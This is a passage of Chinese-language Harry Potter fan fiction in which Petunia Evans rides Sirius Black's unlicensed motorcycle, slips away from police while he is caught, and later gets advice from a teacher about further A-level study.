佩妮的视线从西里斯·布莱克还有詹姆·波特的脸上划了过去,落到莉莉身上,莉莉水绿色的眼睛回望着她,她看起来既十分想要那本书,她也不想把佩妮一个人留在这里。
阳光使佩妮不得不微微眯起她的眼睛,她开口:“去吧,莉莉,拿上你的书就出来,我会在这里等你,然后我们一起回家。”
欣喜从那两个完全没有察觉到自己罪魁祸首身份的小混蛋的脸上划过。
看起来真自命不凡,却又都偏偏有自命不凡的资本。
野蛮生长的海藻在空气中划出快乐的弧度,带着莉莉进了那间酒吧。
那么——
“你想进去喝一杯吗?伊万斯小姐。”西里斯·布莱克站在佩妮的身边对她说,“破釜酒吧,你也完全可以进去的。”
阳光照在他的头发上,他连发丝都勾勒着金边。
“不了。”佩妮摇了摇头,打开门的缝隙显出里面乱糟糟的人影。
“果汁可以吗?”西里斯·布莱克对她说。
佩妮有些讶异地张了张嘴。
但没等她开口,西里斯·布莱克就推开了破釜酒吧的门,他用十分轻快的语调说:“看你的表情应该是可以。”
他闪身进了那间肮脏狭小的酒吧。
陆续有人从酒吧里钻出来,穿着跟伦敦街头十分不匹配的滑稽衣袍。
他们瞧见佩妮,露出一副为什么会有这样一个人在这里的表情。
佩妮,微笑,她对自己说。
你为什么不可以在这里?
她对那些视线回以礼貌的微笑。
他们失措的表情使她笑得更开心了,她对上了端着两杯插着吸管的饮品,从破釜酒吧出来的西里斯·布莱克有些诧异的视线。
她微微收敛了一下自己的表情。
一杯插着粉色吸管,放满了冰块的饮料递到了佩妮的面前,粉蓝色的液体在阳光下反出晶莹的光泽。
“树莓、草莓、蓝莓,好像还有一些其他的水果,女士们应该都喜欢。”西里斯·布莱克对她露出了一个微笑,他上下打量了一下佩妮,对她说,“很不错的穿搭,伊万斯小姐。”
佩妮接过他手中的饮料,冰凉的触感从手心里传上来,她也打量他。
一件看起来价格不菲的灰色衬衫——但解开了最上面的两颗扣子,露出他白皙的皮肤和锁骨,他把袖子也随意地挽了上去。
下身一条黑色长裤,胸口却别着一个红色的胸针,那是什么?狮子吗?
“很不错的胸针,布莱克先生。”佩妮回应他一个微笑。
西里斯·布莱克扬起了他的眉毛:“现在由你决定,我们接下来去哪里坐一下,伊万斯小姐。”
他们一人捧着一杯饮料,坐在公园的长凳上。
佩妮坐在左边,西里斯·布莱克坐在长凳的右边,他们平分那张长凳。
阳光温暖地晒在他们的身上,草地呈现一片鲜艳的绿色,有白色的鸽子不时落在上面,悠闲漫步,吞啄草叶间的草籽。
“你的脸还好吗?布莱克先生。”佩妮握着吸管搅拌她的饮料,冰块转动起来,撞击杯壁发出清脆的响声,“那个暑假的事情我很抱歉。”
她听见西里斯·布莱克发出了一声轻笑,声音相当动听,佩妮情不自禁转过脸。
他也长高了,与记忆里的那个男孩形象相去甚远,但还是一张总惹人注目的脸。
他很随意地坐在长凳上,右手搭在长凳的扶手上,左手里拿着他的那杯饮料。
“橙汁。”他冲佩妮展现了一下他手里的淡黄色液体。
但佩妮发誓,那绝不是橙汁,什么样的橙汁会冒出气泡呢?
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往来有大胆的女生对坐在长凳上的西里斯·布莱克打招呼,他笑着回应,但当女生试图上来搭话的时候,他也微笑着拒绝。
一副好皮囊,看起来相当礼貌优雅。
一位“纯血”巫师。
历代斯莱特林家族里出来的唯一一个格兰芬多。
吼叫信。
没有看向任何人时,那双看似平淡的眼睛里潜藏的无所畏惧与毫不在意。
被一套特殊密码本编码的西里斯·布莱克。
礼貌又客气的西里斯·布莱克。
“我的脸早就好了。”他没有看佩妮,他并不很在意地耸耸他的肩,“你可以直接喊我西里斯,不要叫我布莱克。你不提起那个暑假的事,我都快忘了。”
佩妮收回自己的目光:“佩妮,那你也可以直接叫我佩妮。”礼尚往来,她对西里斯说。
一口气,混合果汁统统被佩妮吸了进去,只留下杯里还没有融化的晶莹冰块。
沁人心脾的凉爽和甜滋滋的感觉从喉咙一同滑至心口。
西里斯对她伸出手,示意她把空杯给他,他手上的那杯饮料也见底了。
他把空着的杯子投进最近的垃圾桶里,走过来对佩妮说:“你想去兜风吗?”
佩妮有些茫然地看着他:“兜风?”
他露出一个很有些坏意的微笑:“有点刺激,但我保证一定会很安全。”
一辆崭新的摩托停在他们面前。
两个头盔被随意地放在后座上。
“你别害怕,”西里斯看着自己的摩托车,脸上露出一副相当骄傲的表情:“这是我刚弄来的最新款,我已经和詹姆试过了,我们都很喜欢。你很幸运,目前只有詹姆坐过我的后座。”
他很开心,生动的表情使他看起来实在让人难以移开视线。
他说他要带佩妮兜风。
——这车是他刚弄来的,而且他刚刚喝了一整杯“橙汁”。
佩妮伸出手拿起了两个头盔,都有一些大,她比较了一下,选择了当中小一点的那个戴在了头上。
“你竟然不害怕,我保证这趟旅程你一定会喜欢。”西里斯看起来兴奋极了,为佩妮没有丝毫犹豫的动作,他拿起另外一个头盔,扣在了自己的脑袋上。
在他得意的视线中,佩妮先行戴好了头盔,跨坐上了那辆巨大的摩托车。
——但不是在后座,而是本应属于西里斯的位置。
“你的钥匙呢?”她握住把手转身对西里斯说。
西里斯不可置信地瞪大了他的眼睛。
“不是,是我要带你去兜风。”西里斯叫起来,“那是我的位置!”
“你刚刚喝了整整一杯那个……”佩妮伸出手比划了一下,“你敢发誓那是橙汁吗?未成年巫师在校外可以喝酒吗?”
一部分密码被解开,露出里面冰山的一角,西里斯的表情使他现在看起来终于有了一点少年的样子。
“请把你的钥匙给我,也不是人人都有机会坐在佩妮·伊万斯后座的。”
“很幸运,你是第……”佩妮想了想了,数着手指比了一个三的手势,“你是第三个。”然后她又握紧了把手。
“你在害怕吗?”佩妮问。
“你在担心脖子被佩妮·伊万斯摔断吗?”佩妮仔细端详着西里斯的表情。
冰冷的钥匙落在了佩妮的手上。
她感觉身后车身一沉,西里斯坐上了她的车后座。
62.chapter61
狂风呼啸着从他们的身侧经过。
——这可是佩妮的老朋友。
她熟练地穿行在车流中,感受老朋友迎面而来的招呼。
这辆车虽然不是诺顿系列,佩妮拧动了把手,但比起埃丽诺那台违规装了超大引擎的飞马,这台车在加速时表现得像位绅士一样温和。
虽然在起步时佩妮并没有把握好它的启动速度,往后撞到了西里斯,她清楚感受到自己的手肘狠狠撞击了西里斯的胸膛。
“对不起。”佩妮说,但她觉得自己应该再诚恳一些,西里斯肯定听出了自己的道歉毫无愧疚之意。
“我说,伊万斯小姐,”西里斯的声音从后方传过来,“这合适吗?”
后视镜里西里斯皱着眉,右手按着胸口被佩妮撞到的地方。
他们的视线在后视镜里短暂的相逢,西里斯迅速松开了自己的手。
“这没有什么不合适的,这简直棒极了,布莱克先生。”佩妮再次拧动了车把手,瞥见后视镜里的西里斯往后一仰,有些狼狈地控制住自己的身形,手忙脚乱地把头盔的带子系紧了。
“好吧,佩妮,如果你玩够了,我们可以在前面的路口停下,交换一下位置。”
但现在可是绿灯,佩妮加速冲过了那个路口,一鼓作气骑上了环城车道。
风把他们的衣服吹得猎猎作响。
“一开始,风让你睁不开眼睛。”佩妮说。
四周的景物在后退,西里斯靠了上来,试图听清她在说什么,但他们之间还是保持着一个礼貌的距离。
“喂,你在闭着眼睛开车吗?”
“是啊,你害怕了吗?西里斯。”佩妮说。但她听见了西里斯的笑声。
“但我们不征服风,我们习惯它。”
“后来我睁开了眼睛,风变成了我的奖励。”是谁的心跳像鼓点般在耳边响起,佩妮心想。
他们超过一辆黑色福特车,福特车在他们身后按出一声鸣笛。
“嘿,放轻松伙计,别那么紧张。”西里斯在后座上耀武扬威地冲福特车挥手,换来另外一声更响的警告似的鸣笛。
“你居然会骑车,麻瓜女孩都像你这样会骑车吗?”西里斯身体往前倾,凑到佩妮的耳边。
他看起来什么也不懂。
“是的,这就是我们上学的内容,”佩妮面不改色地说,“别为了耍帅邀请那些女孩子坐你的车后座,说不定她们骑得比你还好。”
“这太酷了,就像我们的飞行课一样吗?”西里斯的声音里透着难以掩饰的兴奋。
其实佩妮也不知道他们的飞行课到底是怎样,她只好胡乱嗯了一声。
广告牌从他们身边飞驰而过。
“选择Esso加油——每加仑只需0.50英镑。你要去他们那儿加油吗?”佩妮说。
“我加满油出来的,小姐。”
“嘿,快看,你的左边是伦敦城区,西里斯。”佩妮说,“噢,那是泰晤士河,你看到了吗?”
“还有那些砖房,好像是维多利亚时期的。”佩妮对西里斯说,“嘿,看见那些教堂了吗?那是东区的白教堂区,我们可以骑去那里。”
“你知道我住在哪里吗?佩妮小姐。”西里斯的声音在佩妮的耳边响起,他的声音里带着点笑意又带着点无可奈何。
“我不知道。”佩妮如实说。
“格里莫广场,就在伦敦,我家离国王十字车站很近。”
“所以呢?”佩妮问。
“所以我就住在伦敦,您为什么要向一位本身就住在伦敦的人,介绍伦敦的风景呢?”
佩妮沉默了一下:“因为现在是我在骑车,掌握车头的人有义务向坐在后座的人介绍她看见的景观。”
轮到西里斯沉默了,半晌他笑了起来。
“那么请再快一点吧,佩妮小姐。”他说。
佩妮穿过另外一辆汽车,迎接扑面而来的风。
不是往常落日的余晖。
是现在白天明晃晃的太阳。
树影交叠,阳光和阴影像走马灯一样轮流打在他们的身上。
佩妮突然感觉到左耳垂一松。
那个圆型的金属耳坠,风把它吹走了。
佩妮发出了一声惊呼,她有一些后悔,那是薇拉给她搭配的耳坠,她应该在上车前就把她取下来的。
但耳坠已然被风不知带去了何方。
“请你帮帮忙,西里斯。”佩妮说,“取下另外一只,谢谢。”
一只手摸上了佩妮右边的耳朵,解下了她的那个三角形的金属耳坠。
他很小心,没有触碰到她的皮肤,她只感受到他手上的温度。
“喂,刚刚你的耳坠又打到我的脸上了!”
“你说什么?”佩妮没有听清楚他说的话,“风声太大了。”
“什么也没有!”西里斯大声说。
佩妮一拐车头,从另一辆慢吞吞的汽车旁边驶过,风带着自由的气息就像一双手,拂过他们的身体。
在自由的风中,佩妮低头,在后视镜里不经意间瞥见了几辆远远跟着他们的警车。
兴奋像潮水一样从佩妮的心头退去。
她一下冷静了下来,突然想起来这里可不是科克沃斯,坐在她后面的也不是埃莉诺。
看着后视镜里露在头盔下快乐的半张脸,她问道:“你的摩托车什么时候买的?”
“就在不久前。”
“那你的车有牌照吗?”佩妮怀着侥幸的心理问。
“牌照?那是什么?”西里斯看起来很茫然。
“那你有摩托车驾驶许可证吗?”
“那又是什么?”西里斯的身体稍微凑近了一些,他的语气听起来很疑惑。
她怎么会奢望一个巫师懂得这些事情,还是一个未成年巫师。
你也没有,他也没有,佩妮心想,是被什么冲昏了头,她才会冲动地跨上这辆车。
后视镜里,红蓝警灯不停闪烁,在逐渐向他们靠拢。
“没什么,”佩妮深吸了一口气,她对西里斯说,“那现在请你坐稳。”
她将把手一鼓作气拧到了底。
“嘿,你看起来真不愧是莉莉·伊万斯的姐姐,你和她一样大胆。”西里斯猝不及防一个后仰,他稳住自己的身形,然后开心地叫了起来。
佩妮没有搭理快乐的西里斯,她找准时机猛地将车头一拐,闯进了另外一条路,在一辆又一辆的汽车间来回穿梭,逐一超过它们。
狂风使西里斯闭上了他的嘴。
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她听见自己逐渐激烈的心跳,和耳膜里血管流动的声音。
现在可不是因为自由的风了。
这太大胆了,佩妮脑子里只有一个想法,无论如何我,她绝对不能被抓到。
后视镜里暂时看不见那些警车了,佩妮一个急停,堪堪刹在了路边。
“嘿,佩妮,发生了什么事?”西里斯和他的头盔狠狠撞在了她的背上,有些痛——没关系,权当还她那一开始的肘击了。
西里斯看起来也有一些痛,他摸着他的头盔,坐直身体,一双漂亮的眼睛茫然地看着她,他还没从疾驰的刺激愉悦里缓过神来。
佩妮的心砰砰直跳,虽然她也没有缓过神。
上帝保佑,她总算赶上了那辆没有载人的计程车,佩妮连忙伸手,计程车一个变道,停在了她的身侧。
“这是一次相当难忘的经历,西里斯。”佩妮一边解下自己的头盔,一边注视着西里斯棕色的眼睛,她无比真诚地说,“这趟旅程我真的很喜欢,谢谢你带给我的体验。记住,这是你的摩托车,你一个人把它开过来的。”
她把头盔塞进了西里斯的怀里,跳下摩托车,打开了计程车的车门。
一坐上了计程车,她就示意司机赶紧开动。
计程车向前滑动起来,佩妮摇下了车窗,回头对西里斯说:“再见,西里斯。记住,这是你的摩托车,你一个人把它开过来!我会永远记得并且感谢你的!”
事情发生得太快了,西里斯完全没有反应过来,撑着他的摩托车,茫然地看着她。
她的视线中,就在西里斯身后,好几辆警车已经闪烁着警灯出现在了路口。
她对呆坐在摩托车上,还没有弄清楚状况的西里斯挥手告别。
呀,警车已经追上他了,从车上下来了好几个警察,拿着对讲机,团团将他和那辆摩托车围住了。
——而那双漂亮的眼睛还在呆呆地看着佩妮。
佩妮坐在计程车上,看西里斯逐渐离她远去,最终变成车窗里的一个小黑点,围着小黑点的是警车上不停闪烁的红蓝警灯。
老天,他知道此刻自己有多帅吗?
她把自己的身子坐正,将车窗摇上去,只留了一道小缝。
风这道小缝隙里吹进来,让佩妮慢慢在心底里琢磨着刚才那段疾驰留给她的快乐余韵,顺道平息她砰砰作响的心跳。
司机的眼睛透过后视镜看着佩妮:“小姐,您还没说您要去哪儿。”
“破釜酒吧。”佩妮对司机礼貌地笑着。
司机狐疑地从后视镜里打量着她:“对不起,小姐,我在伦敦开了将近十年的车,但我从来没有听过这个酒吧。”
“噢,对不起,我说错了。”心还在跳,佩妮压下被风吹起来的头发,她在脑海中努力回想着破釜酒吧旁边的那个唱片点还有书店叫什么。
啊,她想起来了。
那双茫然的,漂亮的棕色眼睛。
她猛地扑哧一声笑出来。
他可是一个小巫师,上帝会保佑他的。
——————————————————————————————————————
佩妮:朋友,你背锅的样子可太帅了,God bless you
63.chapter62
计程车到了目的地,佩妮从牛仔裤的口袋里摸出一张10英镑的纸币递给了司机。
她抓着找回的硬币推开了计程车的门。
詹姆和莉莉早就站在了破釜酒吧的门前,詹姆试图对莉莉说点什么,但莉莉显然有些心不在焉,她手上拿着一捆羊皮纸包着的书,四下张望着。
佩妮从计程车上下来,莉莉看见了,急匆匆跑过来,长发在阳光下荡成一道红色的波浪。
詹姆跟在她的身后,眼镜要从他的鼻梁掉下来了。
“小天狼星呢?”他问。
佩妮的身后空荡荡的,从计程车上下来的只有佩妮一个人。
“我不知道,”佩妮抚平自己被风吹起来的头发,她面不改色地说,“他好像临时有一些事情。”
莉莉怒瞪着詹姆:“你不是向我保证说小天狼星会照顾好佩妮的吗?”
在莉莉的目光里,詹姆丢盔弃甲,他把滑下去的眼镜推上去,有些慌乱地对莉莉说:“嘿,是的,他刚刚是这么说的。”
“但是现在佩妮一个人回来了,一个人坐在计程车上回来了。”莉莉看起来气愤极了。
詹姆开始四处打量着,到处找寻小天狼星的身影。
“小天狼星可从来不会像这样不打招呼就消失不见的。”有那么一两秒,狐疑的视线落在了佩妮的脸上。
佩妮一把抓住莉莉的手:“不要跟他说那么多了,莉莉,时间有些晚了,我们得回去了。”
佩妮拉着抱着书的莉莉向汽车站走去。
她回头,詹姆一个人站在破釜酒吧门口,脸上挂着跟他的好朋友一模一样的茫然。
佩妮冲詹姆挥了挥手。
他愣了一下,有些笨拙地冲她们挥手作为回应。
她们坐在巴士汽车上。
莉莉紧紧靠着佩妮。
“你不是还要去伦敦的书店吗,佩妮?”莉莉问。
但是买书的钱已经付在了计程车车费上,佩妮心想,这笔也要算在小天狼星的头上:“不去了莉莉,时间已经有点晚了。”
“但你的耳环不见了,佩妮。”沉默了一下,水绿色的眼睛看着佩妮,“小天狼星到底带你干什么去了。”
佩妮坐在靠窗的座位上,风把她的头发吹了起来。
她一摸自己的耳朵,才意识到有一边的耳坠落在小天狼星那里。
她心下一惊,但她立刻控制住了自己的表情。
巴士的速度并不快,吹在她脸上的风十分温柔。
她对莉莉笑起来:“到时候他会自己告诉你的。”
她的视线落在了莉莉怀里的书上。
“怎么有这么多本?被撞掉的不是只有一本吗?”佩妮问。
莉莉漂亮的脸蛋上浮起一抹红晕:“是詹姆的赔罪礼,区区一本书我才不会原谅他呢。”
说话间佩妮看见莉莉怀里的羊皮纸包裹突然动了一下。
“嘿!”佩妮大惊失色地推着莉莉的手,压住那乱动的包裹,“又是一些什么奇怪的东西,快把它收好,不要让别人看我们。”
莉莉笑起来:“不会的佩妮,它只是脾气稍微有一点暴躁。”
过了好几天,莉莉冲进了佩妮的房间,房门在她身后重重地关上,发出了很大的一声响。
佩妮从书桌上抬起头来看着她。
那双水绿色的眼睛瞪得大大的,里头装满了震惊。
花瓣似的嘴巴微张,显然看起来不知所措极了。
“佩妮,你把小天狼星送进了警察局!”莉莉叫出来。
她立马就意识到她的声音太大了,回头望了一眼门口,她转过头,盯着佩妮的眼睛,试图在她的眼睛里寻找着什么。
“佩妮,你,把小天狼星送进了警察局。”她重复着这句话,品味着里头带给她的荒谬感。
“我个人认为,这是他自找的。”佩妮合上了手里的书,这是她从伊索尔德那里借来的一本新书。
莉莉盯着佩妮看了半晌,然后扑哧一声笑了出来,她的笑声越来越大,声音里简直是掩饰不住的快乐:“你把小天狼星送进了警察局!快告诉我,你怎么做到的?”她坐在了佩妮的床上,然后顺理成章地笑倒了下去,抱住了佩妮的枕头。
“他说他要带我去兜风。”佩妮说。
“你看看他,他才几年级,就弄来了一辆摩托车,他说他和詹姆早就试过了。”
“在他上车前还喝了一大杯啤酒,他说那是橙汁。”
“他既没有摩托车驾驶许可证,他的摩托车也没有牌照。”
“这太夸张了,佩妮!他简直就是一个小混蛋。”莉莉尖叫了一声,她猛地从佩妮的床上坐起来,“可是小天狼星说,那天是你骑的摩托车,你带着他超的速!”
“他说,你说他是第三个坐在你车后座的人!第一第二是谁?我都没有坐过你的车后座!不对,你什么时候会骑摩托车了!”莉莉看起来气坏了。
“我?”佩妮对佩妮露出了一个笑容,“我去哪里学的骑摩托车?你信他还是信我。”
莉莉一下就卡壳了,她思索了一下,坚定地看着佩妮:“我当然信你!有时候我真的觉得他和詹姆都是小混蛋,现在他还学会胡说八道了,是时候给他们一点教训了!”
那双绿色的眼睛亮晶晶地看着佩妮:“小天狼星的那辆摩托车被没收了。”
有点可惜,佩妮在心里说,但活该。
“他还好吗?”佩妮问,“他最后出来了吗?”
“有什么东西能拦得住他们呢,”莉莉说,但她看着佩妮又幸灾乐祸地笑了起来,“小天狼星气坏了,詹姆说他从来没有那么狼狈过。”
做人得有始有终。
在莉莉的笑声里,佩妮打开她的抽屉,从里头取出她的画夹,她抽出一幅画递给了莉莉。
“莉莉,请你帮我把这幅画交给小天狼星。”
莉莉看见那幅画,瞪大了她水绿色的眼睛,剩下的话全被她
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吞到了肚子里去。
那是一幅铅笔画,画上是抱着头盔倚在摩托车上的小天狼星,风把他的头发吹起来,胸口深色的衬衫上别着一个雄狮一样的胸针,看起来自由自在。
莉莉猛地抬起了她的头,委屈地看着佩妮:“我的呢?佩妮,那我的呢?”
佩妮早有准备,她从画夹里抽出了另外一幅画。
抱着书的莉莉,侧面看着远方,一头像瀑布一般的长发,眼神既温柔又坚定,矮牵牛花和百合花在她身边开了一圈又一圈,不分彼此。
莉莉猛地冲上来一把抱住了她。
又过了几天,莉莉跑过来,她的脸上带着一丝红晕:“佩妮,詹姆让我问问你,那天他也去了伦敦,我们都有画,为什么他没有?”
佩妮瞪大了她的眼睛:“他凭什么觉得他能有?他可是把你的书撞进了水里。”
莉莉觉得佩妮说的有道理极了。
“他还在生气吗?”停顿了一会儿,佩妮问。
“詹姆的意思是,他好像还有一点。”
她在等莉莉拿出小天狼星还给她的耳坠,但等了好一会儿,莉莉也没有,她看起来像完全不知道这件事一样。
他还有一点生气,他可能把佩妮的耳坠给扔了,佩妮想。
算了。
“飞马也没有牌照!”佩妮站在飞马的后面,对埃莉诺大声尖叫。
落日坠在天边,朝霞将天空染成了一幅油画。
她们把飞马停在路边,伊索尔德牵着佩妮的手,在路边的田野里各自喝完了一罐埃莉诺从皮衣外套里带出来的汽水。
直到太阳沉进远处的地平线,她们才决定返程。
“你有摩托车驾驶许可证吗?”佩妮不可置信地问埃莉诺。
“那只是一张纸而已,佩妮你想要吗?”埃莉诺坐在飞马上,无所谓地对她耸了耸肩,“如果你想要,我让他们给你搞一张。”
“在伊索尔德很小的时候,我就带她这么玩了。”一辆警车从她们身边经过,埃莉诺伸手同他们打招呼。
除了佩妮没有人觉得有问题。
“那时候,我在法国,”埃莉诺靠在飞马上,显然陷入了一些对过往的追忆,“我同丹尼尔学开车。”
“丹尼尔有一辆白色的计程车,有时候送送披萨,顺路再拯救一下法国。他那辆车挺不错,最高记录是时速306,有一次直接超过了法国的动车。”
“有没有驾驶证一点都不重要,佩妮。”
“准点到达目的地就好了,你就一直往前开,油门踩到底。”
佩妮开始发起抖来,这么久了,她居然没有摔断她的脖子,真是幸运啊。
“嘿,快上来,”埃莉诺把头盔戴上,呼唤着佩妮,“你那什么表情,我们得回去了,老规矩,你在前面。”
她再也不会跟埃莉诺玩这种危险的游戏了,最后一次,佩妮在心里发誓,这绝对是最后一次。
她套上自己的头盔。
64.chapter63
“看这里,佩妮!”爸爸在台下冲她挥手,佩妮的视线刚转过去,闪光灯一亮,爸爸就把快门按了下去,完全没有等她摆好表情。
“50英镑,祝贺你,伊万斯小姐。”一位穿着米色西装外套的男人向佩妮握手表示祝贺,礼堂黄色的灯光下,他光亮的额顶可以见到细密的汗珠。
“那是财政部的人。”站在佩妮左边的女生小声对佩妮说,“我爸爸上周才同他吃过饭。”
那名财政部的官员从自己西装外套里掏出手帕擦去脑门上的汗水,走向下一位拿着奖状的学生。
“你们是圣凯瑟琳现代中学的骄傲。”
“圣凯瑟琳现代中学是科克沃斯的骄傲。”
阿加莎女士跟在他身后走过来,仍旧那副不苟言笑的表情。她双手交叠放在胸口,俯视着佩妮,但是黄色灯光映在她的眼睛里,使她那双锐利的眼睛看起来比在校门口及讲台上温和得多。
阿加莎女士给她的写作打了一等。她的数学不出意料是二等,但其他科目的一等还是使佩妮拿到了这50英镑的奖励金。
现在有资格站在礼堂台上接受政府官员颁奖的人,加上佩妮总共也只有三名。
在台下此起彼伏的闪光灯和掌声中,佩妮悄悄地挺起了自己的胸膛。
“我就说你肯定能拿到那50英镑奖金的,佩妮!”莉莉兴奋地说。
“但是这还得等财政拨款,现在只有一张证书,等奖金拿到手都不知道是什么时候了。”佩妮嘴上是这么抱怨的,但是她仍然勾起了自己的嘴角。
“我要把佩妮这张照片洗出来,到时候放在家里。”爸爸把玩着他手里的相机,语气里是掩盖不住的高兴,“只有三位学生拿到了CSE一等,佩妮就是其中的一位!”
爸爸拉着佩妮和莉莉在礼堂里拍了好些照片,等他们走出礼堂的时候,天色已经有些晚了,人已经散得差不多了。
现在真的要跟圣凯瑟琳现代中学告别了。
但出乎佩妮的意料,阿加莎女士竟然还没走,她站在礼堂的门口,仿佛在等待着什么。
她的视线落在了佩妮的身上,她向佩妮走了过来。
佩妮一时有一些紧张。
“能否耽误伊万斯小姐一些时间呢?”她对伊万斯夫妇阖首,然后对佩妮开口。
她跟着阿加莎女士重新走进了她的办公室,然后坐在了那个木凳上。
木凳总还是不舒服,每一位坐在木凳上的学生都会不自觉挺起自己的腰。
“祝贺你,伊万斯小姐,你拿到了50英镑。”阿加莎女士说。
这是她听了整整一下午的恭贺,佩妮几乎是条件反射地向阿加莎女士报以礼貌的微笑和道谢。
空气里安静了一会儿。
“一般来说,伊万斯小姐,”阿加莎女士拉开了她的椅子坐下来,“你的学校生活就此结束了。”
其实应该是现代中学几乎所有的学生念书的日子就从此到头了。
“那么伊万斯小姐,你未来有什么打算呢?”阿加莎女士问佩妮,她的语气出乎意料地温柔。
佩妮看着阿加莎女士的眼睛,她说:“我妈妈为我在伦敦物色了一份工作,等暑假结束,我就可以去工作了。据说那是一份比较体面的工作。”
“啊,很明智的一条路,祝贺你伊万斯小姐。”阿加莎女士说,“现代中学大部分女生都会选择工作这条路,毕竟你们在这里学到的这些技能,就是为了工作做准备的。”
佩妮隐约觉得阿加莎女士要跟她说的不止这些,她看着阿加莎女士的眼睛,等待阿加莎女士后面的话语。
“你知道CSE考试一等有什么用吗?”阿加莎女士双手交握,从书桌后望着佩妮。
也许是夕阳的光线实在是太过于柔和了,佩妮脱口而出:“一张奖状,还有50英镑。”
佩妮第一次见到阿加莎女士的脸上露出笑意,即使这是一抹极其细微的,一闪而过的笑。
“确实,我们不是文法中学,这里只有CSE的考试,你们不需要为上大学而考O level,这里也不提供任何的A level课程。你知道O level考试和A level课程吗?”
佩妮点点头,伊索尔德现在就走着这条路——这是她自己选择的路。
“但是。”阿加莎女士话语里出现了一个转折,使得佩妮抬起了她的头来,“在像伦敦、伯明翰、诺丁汉这些大城市,会有一些学校,它们被称为继续教育学院,专门接收社会上一些人士,为他们提供A level的课程。”
“部分学校认为,CSE考试一等的成绩,等同于O level成绩,如果通过他们的入学考试,就能接受他们A level课程的教学。”
就好像在原本平静的湖面投下一颗石子,看着阿加莎女士,佩妮微微张开了自己的嘴巴。
“当然,这只是听起来很简单而已。”阿加莎女士说,“现实会有很多困难。”
“首先是学费,这些学校并不免费。虽然有些学校,地方政府会覆盖一部分的学费,但剩下的,包括书本、路费这些,也是一笔相当的花销。”
“成人继续教育学院里,你可以选择夜间班或者周末班,但那样就需要付出更多的精力,因为对于整整两年的A level课程来说,你要学的内容并不会因为时间的减少而减少。”
“但那不是最困难的,最困难的是现代中学的课程并不涉及A level的内容,那些继续教育学院会设置一些入学的考试,这又是一道障碍。”
“就这些种种障碍来说,其实没必要自讨苦吃,尤其是你已经在伦敦获得了一份工作,如果这份工作能够让你成为一名独立的女性,过上你想要的生活的话。”
她为什么要同自己说这些,佩妮心想。
阿加莎女士仿佛看穿了佩妮的心声,她对佩妮说:“我只是出于我作为老师和学校管理者的角度,向我的学生提供一些她们应该要知道的内容。”
阿加莎女士的语气很平淡,仿佛真的只是在陈述一个简单的事实。
“我知道了,谢谢您,阿加莎女士。”佩妮说。
阿加莎女士在书桌后看着佩妮。
她们互相凝视着对方,谁也没有开口说话,有那么一瞬间,佩妮觉得自己的眼睛有一些酸涩。
沉默了一小会儿,佩妮对阿加莎女士说:“我和索菲是朋友。”
“那时,您拿给我看的那些书,我和她都一起看过。看那些书的时候,我很自由快乐,她应该跟我一样。我认为我们一起渡过的时光对她而言是快乐的。”
“我认为索菲得到了她想要的东西,她做出了自己的选择。”
“那本小说真的写的很不错,她会在伦敦过上自己想要的生活的。”佩妮说。
“她是怎么对你说她的故事的。”阿加莎女士的身体微微前倾。
佩妮把在医院里索菲对她说的话了挑选一些告诉了阿加莎女士,她避开了教鞭的故事。
阿加莎女士重新坐回到她自己的座位上,身体后仰,她的脸上看起来什么表情也没有。
书桌上传来一阵响动,两本书被推到了佩妮的面前。
“那么这是我个人,送给伊万斯小姐的礼物。”阿加莎女士说。
佩妮将那两本书接过来,是两本有些陈旧的书,纸页已经有些泛黄了。
一本《拉丁语入门》,还有一本《西方哲学入门》。
佩妮有一些吃惊,这两本书有些眼熟,但她想不起来在哪里见过。
“这两本书我准备了有一段时间,但它们始终没能派上原来的用场,出于我个人的原因,我把它们送给你,伊万斯小姐。”
“A level可不会规定你们要学的内容,那时候选择权就在你们自己手上了,要选择什么科目又跟一些对你们而言可能更加遥
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不可及的事情相关。投入的时间和精力,对于像你们这样的小姐来说,时间总是最珍贵的东西,不太经得起浪费。”
“但无论如何,选择权就交给你了,伊万斯小姐。”
“阿加莎女士同你说了些什么?佩妮。”在离开校园的路上,妈妈有些好奇地询问佩妮。
佩妮回头望了一眼那栋沉默的建筑,夕阳西下,光线并不明亮,走廊变成一条条漆黑的长方形条索嵌在被夕阳染红的楼栋上。
她一时不知道怎么回答妈妈,阿加莎女士的话就像给她的那两本书,装在她的书包里,沉甸甸地跨在她的肩头,但看着爸爸妈妈还有莉莉望过来的视线,佩妮只好含糊地说:“她问我未来有什么打算,我说我要去伦敦工作。”
对于佩妮要去伦敦工作的这件事,妈妈看起来比佩妮还积极。
才告别圣凯瑟琳中学没几天,明明暑假还有很长的一段时间,妈妈就带着佩妮来到了成衣店。
一套浆洗得干干净净,没有一丝褶皱的灰色职业西装套裙被从柜台后面递给佩妮,显然是妈妈早已准备好的。
此外还有一双女士黑色漆皮低跟皮鞋。
那双鞋一开始被放在黄色的缎面布料上,黑色的漆皮在灯光下反射出价格不菲的光线。
同西装套裙一起,这是妈妈送给佩妮的礼物。
“妈妈为你特别订做的伊丽莎白女王同款。”妈妈看起来兴奋极了,“在工作的时候穿它,再搭配西装衬裙,你会像斯通女士那样优雅,佩妮。”
“妈妈,你是想现在就把我赶去伦敦吗?”佩妮拿着西装套裙还有皮鞋,在被妈妈推进换衣间之前,她对妈妈大声抱怨,换来成衣店店长卡伦女士还有妈妈的笑声。
等佩妮换好那套衬裙,踩着那双黑色漆皮低跟皮鞋站到镜子前的时候,她听见店长女士的赞叹:“噢,佩妮,你和玛格丽特简直太像了。”
佩妮第一反应是卡伦女士在胡说八道——就算为了推销那款西装套裙,卡伦女士也不应该这么说的。更何况这套西装套裙非常的合身,这是妈妈给佩妮量身订做的套裙,她们一定会买下来。
成衣店的镜子里映出一个有些瘦高的身影。
她长高了很多,金灰色的长发梳得整整齐齐,在脑后扎成一束马尾,她眨眨眼,镜子里那双浅灰色的眼睛回望她,也眨了眨眼。穿上那套西装衬裙,镜子里的佩妮好像一下子就从圣凯瑟琳中学飞去了伦敦的办公楼。
但看看妈妈,成衣店白色的灯光就在她们的头顶上摇曳,照在妈妈红色微卷的头发上,显出蓬勃的生命。
“我的佩妮马上要去伦敦工作了。”妈妈凑到她的耳朵边,镜子里那双跟莉莉一模一样的水绿色的眼睛与佩妮交汇,然后弯了起来。
佩妮怎么会像妈妈。
佩妮的头发和眼睛都来自爸爸,而妈妈的恩赐则给了莉莉——这是任何一个熟稔伊万斯家的亲朋好友都知道的事实。
更何况小时候佩妮不止一次和薇拉在卡伦女士这里买过裙子。
这使得她忍不住在心里埋怨卡伦女士的那句胡话。
